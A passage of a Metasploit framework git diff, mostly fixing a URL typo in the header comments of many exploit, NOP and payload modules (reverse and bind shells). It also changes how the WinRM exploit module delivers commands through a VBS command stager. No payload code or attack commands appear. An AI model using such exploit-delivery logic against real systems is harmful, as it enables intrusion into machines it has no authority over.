-1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb index b814b83f48..119de0ce1a 100644 --- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb index daf155d0eb..75131b6e09 100644 --- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb index 96399818d8..3cbd5bf1d0 100644 --- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb +++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb index 16616e0547..a02cbb277c 100644 --- a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb +++ b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index 323e1fcc1b..4a673fd767 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/realvnc_client.rb b/modules/exploits/windows/vnc/realvnc_client.rb index 95b5e98c13..a479580f78 100644 --- a/modules/exploits/windows/vnc/realvnc_client.rb +++ b/modules/exploits/windows/vnc/realvnc_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/ultravnc_client.rb b/modules/exploits/windows/vnc/ultravnc_client.rb index fd6ffc5a46..4fd21103e0 100644 --- a/modules/exploits/windows/vnc/ultravnc_client.rb +++ b/modules/exploits/windows/vnc/ultravnc_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb index 6c0165dabf..2822427e85 100644 --- a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb +++ b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb index e49eb61e81..26bb1236d2 100644 --- a/modules/exploits/windows/vnc/winvnc_http_get.rb +++ b/modules/exploits/windows/vnc/winvnc_http_get.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vpn/safenet_ike_11.rb b/modules/exploits/windows/vpn/safenet_ike_11.rb index 3a9924b13b..24c94599c7 100644 --- a/modules/exploits/windows/vpn/safenet_ike_11.rb +++ b/modules/exploits/windows/vpn/safenet_ike_11.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index d768e8b5d2..9001cd18a0 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote delivery: Powershell 2.0 and VBS CmdStager. The module will check if Powershell 2.0 is available, and if so uses - that method. Otherwise it falls back to the VBS Cmdstager which is + that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. IMPORTANT: If targeting an x64 system with the Powershell method @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/smart_migrate', + 'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep") }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], @@ -59,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]), ], self.class ) - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_sleep")]), - ], self.class) + deregister_options('CMDSTAGER::FLAVOR') @compat_mode = false end @@ -78,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote return if path.nil? exec_script(path) else - execute_cmdstager + execute_cmdstager({:flavor => :vbs}) end handler end diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index 939e1e635c..4d7028f656 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb index 4d9771025b..a2ba2e1f56 100644 --- a/modules/nops/armle/simple.rb +++ b/modules/nops/armle/simple.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/php/generic.rb b/modules/nops/php/generic.rb index 842cfa57cf..0498fd6817 100644 --- a/modules/nops/php/generic.rb +++ b/modules/nops/php/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/ppc/simple.rb b/modules/nops/ppc/simple.rb index d5f0ad4269..73e0f0f4ed 100644 --- a/modules/nops/ppc/simple.rb +++ b/modules/nops/ppc/simple.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/sparc/random.rb b/modules/nops/sparc/random.rb index 487cf3ca56..6227cf4c38 100644 --- a/modules/nops/sparc/random.rb +++ b/modules/nops/sparc/random.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/tty/generic.rb b/modules/nops/tty/generic.rb index b1a321c60f..26f9189a55 100644 --- a/modules/nops/tty/generic.rb +++ b/modules/nops/tty/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index 3472627110..7f4f84e2c5 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x86/opty2.rb b/modules/nops/x86/opty2.rb index 0026606965..d45d90434e 100644 --- a/modules/nops/x86/opty2.rb +++ b/modules/nops/x86/opty2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x86/single_byte.rb b/modules/nops/x86/single_byte.rb index 7355a12157..3607aa361f 100644 --- a/modules/nops/x86/single_byte.rb +++ b/modules/nops/x86/single_byte.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb index 920dce57dc..5b6d6062ab 100644 --- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb index 9bd3ebbad2..bae90a97fa 100644 --- a/modules/payloads/singles/aix/ppc/shell_find_port.rb +++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_interact.rb b/modules/payloads/singles/aix/ppc/shell_interact.rb index 4d1f83e75b..1ae807e74e 100644 --- a/modules/payloads/singles/aix/ppc/shell_interact.rb +++ b/modules/payloads/singles/aix/ppc/shell_interact.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb index ba973570fb..4586fe491d 100644 --- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb index 552fc9061d..00fbf09ade 100644 --- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb index 1d168e91a7..a4dd685d30 100644 --- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index 396f9ddc25..46a5b6b6a2 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb index 8bbb5014d8..21d761e998 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb index ba40278c48..6ec4368e87 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index 7f237e505d..5bd8b00320 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb index b7a639dc28..87e49ef425 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index 9038c2f443..ddeda9d31e 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb index 44db763236..65c5f9a91e 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index 8e45fbb2db..955985f8d1 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb index 360bc1d40f..133bce6154 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb index 12aeffb92e..b621318bf1 100644 --- a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb index 59468b4500..ecdaf64e7d 100644 --- a/modules/payloads/singles/bsdi/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb index 0a025232ff..3c69da4b4b 100644 --- a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_awk.rb b/modules/payloads/singles/cmd/unix/bind_awk.rb index 9209c935df..b4e37e2c9c 100644 --- a/modules/payloads/singles/cmd/unix/bind_awk.rb +++ b/modules/payloads/singles/cmd/unix/bind_awk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_inetd.rb b/modules/payloads/singles/cmd/unix/bind_inetd.rb index ed3c93fb8e..cb895e18dc 100644 --- a/modules/payloads/singles/cmd/unix/bind_inetd.rb +++ b/modules/payloads/singles/cmd/unix/bind_inetd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb index c3be536995..587914cd4f 100644 --- a/modules/payloads/singles/cmd/unix/bind_lua.rb +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 9f4d433a40..6b9bc0f626 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb index 525dac6f87..b08cbf322f 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb index 13f13ef940..24ad18a119 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index 057344a7ec..c6a1c5fd07 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index 66ae6716de..01378801e5 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index 290ef86af4..056a27e296 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/unix/bind_ruby.rb b/modules/payloads/singles/cmd/unix/bind_ruby.rb index fcfae1f30a..e574e7d61f 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb index 6672096a4c..011a75c19b 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb index 2d7218aa59..3786e9ac34 100644 --- a/modules/payloads/singles/cmd/unix/bind_zsh.rb +++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index 5c9adee336..b11fe6810f 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/interact.rb b/modules/payloads/singles/cmd/unix/interact.rb index 1a318c8df1..13bb06ab67 100644 --- a/modules/payloads/singles/cmd/unix/interact.rb +++ b/modules/payloads/singles/cmd/unix/interact.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index bf9d47f70e..a1336bfc18 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index c2ebe83e83..04f9b965be 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb index 3fda72a0f1..92a6ad354e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index 9a9b836a53..6dd2c25105 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,7 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd_bash', - 'RequiredCmd' => 'bash-tcp', + 'RequiredCmd' => 'telnet', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index a695369a4d..43440d5c2d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index 4c96ee941d..1887b14f04 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index 22c8c91655..3227d8160f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index 186dbadb0b..1aa2df8327 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: 